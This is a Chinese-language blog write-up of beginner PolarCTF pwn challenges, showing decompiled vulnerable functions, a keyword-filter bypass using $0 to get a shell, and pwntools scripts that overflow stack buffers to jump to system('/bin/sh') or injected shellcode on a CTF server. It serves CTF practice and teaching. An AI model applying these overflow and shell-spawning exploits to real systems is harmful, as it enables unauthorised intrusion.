PolarCTF-Pwn(简单)刷题WP

1、sandbox

ida查看box函数,发现对输入的字符做了检查(sh、cat、flag)

if ( strchr(buf, 's') || strchr(buf, 'h') || strstr(buf, "cat") || strstr(buf, "flag") || strchr(buf, '-') )
  {
    puts("Illegal command.");
    exit(0);
  }

看这篇文章:pwn中常见的绕过(以后见多了会慢慢更的,咕咕咕) - Falling_Dusk - 博客园

对命令进行处理

首先想办法输入sh进去来提权:输入等价的$0
然后发现输什么都不会被拦截,获得flag
image

2、creeper

ida看game函数,发现只要字符数组长度为15就可以输出flag

注意这里换行符也算一个字符,因此输入14个字符换行即可

__int64 game()
{
  char buf[64]; // [rsp+0h] [rbp-40h] BYREF

  puts("Creeper?");
  read(0, buf, 0x100uLL);
  if ( strlen(buf) == 15 )
  {
    puts("Aw man");
    system("cat flag");
  }
  else
  {
    puts("Si............");
  }
  return 0LL;
}

image

3、简单溢出(https://www.cnblogs.com/ljnljn/p/18585191)

4、system

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setbuf(stdout, (char *)'\0');
  setbuf(stdin, (char *)'\0');
  printf("input:");
  read(0, buf, 0x1EuLL);
  system(buf);
  return 0;
}

输入即为指令,直接cat flag
image

5、emm

首先这是32位的!
image

int yes()
{
  _BYTE buf[88]; // [esp+0h] [ebp-58h] BYREF

  puts("/bin/sh");
  read(0, buf, 256u);
  return 0;
}

这里可以看到buf的位置以及大小(点击buf)
image
因此有exp:

from pwn import *
p=remote("1.95.36.136",2068)
payload=b'a'*(0x58+4)+p64(0x080484D4)
p.sendline(payload)
p.interactive()

image
5、Easy_ShellCode
是个32位文件
image
然后用ida,主函数引入了两个函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();
  Start();
  return 0;
}

init()函数没有问题
看Start()

ssize_t Start()
{
  _BYTE buf[104]; // [esp+0h] [ebp-68h] BYREF

  init();
  write(1, "Please Input:\n", 0xEu);
  read(0, &str, 0x100u);
  puts("What,s your name ?:");
  return read(0, buf, 0x100u);
}

发现&str空间足够,没问题;而buf数组明显可能存在栈溢出
并且这里没有找到类似/bin/sh等指令,因此考虑写入shellcode覆盖str变量所在地址。

from pwn import *
p=remote("1.95.36.136",2086)
p.sendline(asm(shellcraft.sh()))
payload=b'a'*(0x68+4)+p32(0x0804A080)
p.sendline(payload)
p.interactive()

image

6、小狗汪汪汪

image

int dog()
{
  char s[9]; // [esp+Fh] [ebp-9h] BYREF

  puts("Hungry!!!");
  puts("This puppy needs to eat a few bones?");
  gets(s);
  return puts("Woof!!!");
}

gets(s)为危险函数,存在栈溢出可能性

int getshell()
{
  return system("/bin/sh");
}

shift+F12发现/bin/sh
找到内存位置
image
exp

from pwn import *
p=remote("1.95.36.136",2077)
payload=b'a'*(0x9+4)+p32(0x080485A4)
p.sendline(payload)
p.interactive()

image

posted @ 2024-12-05 14:21  _ljnljn  阅读(22)  评论(0编辑  收藏  举报